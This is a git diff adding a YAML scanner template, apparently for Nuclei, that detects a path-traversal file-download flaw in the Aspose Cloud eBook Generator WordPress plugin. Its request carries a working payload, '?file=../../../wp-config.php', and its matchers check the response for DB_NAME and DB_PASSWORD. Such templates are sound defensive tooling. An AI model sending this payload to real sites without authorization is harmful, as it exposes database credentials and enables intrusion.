diff --git a/vulnerabilities/wordpress/aspose-file-download.yaml b/vulnerabilities/wordpress/aspose-file-download.yaml new file mode 100644 index 0000000000..78d4048c1b --- /dev/null +++ b/vulnerabilities/wordpress/aspose-file-download.yaml @@ -0,0 +1,27 @@ +id: aspose-file-download + +info: + name: Aspose Cloud eBook Generator - File Download + author: 0x_Akoko + severity: high + description: The Aspose Cloud eBook Generator WordPress plugin was affected by a File Download security vulnerability. + reference: https://wpscan.com/vulnerability/7866 + tags: wordpress,wp-plugin,lfi + +requests: + - method: GET + path: + - '{{BaseURL}}/wp-content/plugins/aspose-cloud-ebook-generator/aspose_posts_exporter_download.php?file=../../../wp-config.php' + + matchers-condition: and + matchers: + - type: word + words: + - "DB_NAME" + - "DB_PASSWORD" + part: body + condition: and + + - type: status + status: + - 200